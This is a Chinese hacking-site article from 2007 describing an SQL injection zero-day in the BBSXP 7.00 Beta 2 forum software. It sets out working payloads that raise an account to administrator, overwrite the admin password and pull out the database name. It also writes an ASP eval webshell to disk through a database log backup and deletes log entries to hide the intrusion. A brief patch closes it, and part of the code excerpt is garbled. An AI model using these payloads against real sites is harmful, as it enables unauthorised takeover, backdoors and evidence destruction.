arow 您现在的位置: Yes!黑客联盟 >> 技术 >> 黑客技术 >> 漏洞利用 >> 正文
专题栏目
BBSXP 7.00 Beta 2 SQL 0day           
BBSXP 7.00 Beta 2 SQL 0day
作者:佚名 文章来源:本站原创 更新时间:2007-3-30 15:41:01 【字体:

来源:浙江精诚科技股份有限公司 www.cnsapc.com
作者:yl6364
转载请保留如上信息!谢谢。

bbsxp前段时间出了个log的注入漏洞,这次的漏洞还是出现在这个地方。
sub Log(Message)
if Request.ServerVariables("Query_String")<>"" then Query_String="?"&Request.ServerVariables("Query_String")&""
Conn.Execute("insert into [BBSXP_Log] (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes) values ('"&CookieUserName&"','"&Request.ServerVariables("REMOTE_ADDR")&"','"&HTMLEncode(Request.Servervariables("HTTP_?threadid=1&postid=1 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://localhost/bbsxp/editpost.asp?threadid=1&postid=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)
Host: localhost
Content-Length: 53
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: skins=1; Eremite=0; UserID=2; Userpass=1679707407E0FEDAA79EA80AB389A964; Onlinetime=2007%2D3%2D10+21%3A30%3A37; ForumNameList=%3Coption%20value%3D%27ShowForum.asp%3FForumID%3D1%27%3E%u7F51%u7EDC%3C/option%3E; ASPSESSIONIDSQCDCSQA=NBOPHAJCAIEFFCMHGDFJNKBH; ASPSESSIONIDSCTRRACA=OCIBAKBAFDDDJAADKKJBPBNI

content=test+log&UpFileID=&Category=&Subject=test+log

变量Request.Form就是content=test+log&UpFileID=&Category=&Subject=test+log
上面的变量都是经过HTMLEncode处理的,但是我们还是可以想办法饶过去。
我们可以伪造变量,比如我们把content=test+log&UpFileID=&Category=&Subject=test+log改为
content=test+log&UpFileID=&Category=&Subject=test+log&yl6364=love
记得修改Content-Length,打开bbsxp_log表看见POSTData为:
content=test+log&UpFileID=&Category=&Subject=test+log&yl6364=love
看出点什么来了吗嘿嘿,我们伪造的变量yl6364就这样进数据库了。因为是伪造的变量所以自然是没有经过任何的过滤。下面思路就清晰了,提升权限为管理员然后进后台查看网站的路境,再利用log备份拿webshell
提升权限:
content=test+log&UpFileID=&Category=&Subject=test+log
改为:
content=test+log&UpFileID=&Category=&Subject=test+log&yl6364=love','');update bbsxp_users set userroleid=1 where username='yl6364'--
这样就变为前台的管理员。

修改后台的密码:
update bbsxp_sitesettings set adminpassword='md5密码'--
bbsxp经过md5加密的密码字母都是大写的

获得数据库的名:
update bbsxp_users set usermail=db_name() where username='yl6364'--

log备份拿webshell:
alter database bbsxp set recovery full;drop table cmd;create table cmd (a image);backup log bbsxp to disk = 'c:\cmd' with init;insert into cmd(a) values ('<%eval request(chr(35)):response.end%>');backup log bbsxp to disk = 'C:\web\bbsxp\cmd.asp';--

修改后台密码要记得改回来哦,不然管理员就进不了后台了,所以最好弄得到管理员密码。
最后要记得擦PP,delete * from bbsxp_log where username='yl6364'--

ps:官方论坛我测试过没有成功,不知道什么原因。不过在本地和网上测试成功!


漏洞修补:加上个htmlencode过滤就好了
sub Log(Message)
if Request.ServerVariables("Query_String")<>"" then Query_String="?"&Request.ServerVariables("Query_String")&""
Conn.Execute("insert into [BBSXP_Log] (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes) values ('"&CookieUserName&"','"&Request.ServerVariables("REMOTE_ADDR")&"','"&HTMLEncode(Request.Servervariables("HTTP_User_AGENT"))&"','"&Request.ServerVariables("request_method")&"','http://"&Request.ServerVariables("server_name")&""&Request.ServerVariables("script_name")&""&Query_String&"','"&HTMLEncode(Request.ServerVariables("HTTP_REFERER"))&"','"&Err.Description&"','"&Request.Form&"','"&Message&"')")
end sub
改为:
sub Log(Message)
if Request.ServerVariables("Query_String")<>"" then Query_String="?"&Request.ServerVariables("Query_String")&""
Conn.Execute("insert into [BBSXP_Log] (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes) values ('"&CookieUserName&"','"&Request.ServerVariables("REMOTE_ADDR")&"','"&HTMLEncode(Request.Servervariables("HTTP_User_AGENT"))&"','"&Request.ServerVariables("request_method")&"','http://"&Request.ServerVariables("server_name")&""&Request.ServerVariables("script_name")&""&Query_String&"','"&HTMLEncode(Request.ServerVariables("HTTP_REFERER"))&"','"&Err.Description&"','"&Request.Form&"','"&HTMLEncode(Message)&"')")
end sub


友情提示:如果您对本文章的内容存在疑问请到点此进入论坛进行讨论

文章录入:coldness    责任编辑:YesHack.Com 
  • 上一篇文章:

  • 下一篇文章:
  •